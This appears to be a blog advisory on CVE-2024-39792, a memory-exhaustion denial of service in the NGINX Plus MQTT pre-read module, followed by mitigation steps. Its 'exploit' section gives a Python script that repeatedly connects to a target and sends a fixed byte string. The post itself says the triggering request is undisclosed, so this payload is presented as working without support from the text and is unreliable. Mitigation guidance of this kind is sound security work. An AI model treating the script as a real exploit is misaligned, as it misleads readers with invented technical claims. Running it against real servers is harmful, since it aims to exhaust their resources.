CVE-2024-39792 is a vulnerability affecting NGINX Plus software when configured to use the MQTT pre-read module. The vulnerability lies in the way that undisclosed requests can result in increased memory resource consumption, potentially leading to a Denial of Service (DoS) attack. In this post, we will cover the details of this vulnerability, explore the exploit, and provide guidance on mitigation techniques.

Software Affected

The vulnerability affects NGINX Plus, a high-performance web server and reverse proxy server. It is important to note that this vulnerability only affects NGINX Plus installations that are configured to use the MQTT pre-read module. MQTT is a lightweight messaging protocol for small sensors and mobile devices, optimized for high-latency or unreliable networks. Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Exploit Details

When the MQTT pre-read module is used in an NGINX Plus configuration, it parses MQTT client requests to determine the type of request and the target broker. If an undisclosed request type is encountered, the module may keep consuming memory resources to handle the request. This can lead to a progressive increase in memory consumption, making the system vulnerable to a DoS attack, as the increased memory load may result in the crashing of the web server or the entire system.

Here's a sample code snippet to demonstrate the exploit using a Python script

import socket
import time

# Target server and port
target_server = 'example.com'
target_port = 1883

# Malformed MQTT request
malformed_request = b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

# Number of requests to be sent
num_requests = 100

for i in range(num_requests):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_server, target_port))
    sock.send(malformed_request)
    time.sleep(2)

This script sends a malicious MQTT request to a target server, which would lead the MQTT pre-read module to consume memory in an attempt to handle the undisclosed request.

To mitigate and remediate this vulnerability, follow these steps

1. Update NGINX Plus: If you are using a version of NGINX Plus that has not reached EoTS, update your software to the latest version. The developers of NGINX Plus have released new versions which address this vulnerability. Consult the official NGINX Plus Release Notes for information on the latest updates.

2. Disable MQTT Pre-read Module: If you don't require the MQTT pre-read module in your NGINX Plus installation, consider disabling this module to eliminate the vulnerability. To disable the module, follow the official NGINX Plus documentation.

3. Monitor System Resources: Regularly monitor your system resources, such as CPU, memory, and disk usage to detect any suspicious increase that could indicate a potential problem. Use system monitoring tools like top, htop, or glances to help you accomplish this.

4. Implement Security Best Practices: Follow security best practices to ensure the security and integrity of your NGINX Plus installation, such as configuring SSL certificates, implementing strong authentication and authorization, and using access controls and rate limiting. Refer to the official NGINX Plus Security Hardening Guide for more information.

Conclusion

CVE-2024-39792 is a vulnerability affecting NGINX Plus when configured to use the MQTT pre-read module. By following the mitigation and remediation techniques discussed in this post, you can reduce the risk of exposure to this vulnerability and protect your web server from potential DoS attacks. Always keep your software up to date and follow security best practices to ensure the overall security of your software and systems.

Timeline

Published on: 08/14/2024 15:15:26 UTC
Last modified on: 08/19/2024 16:20:28 UTC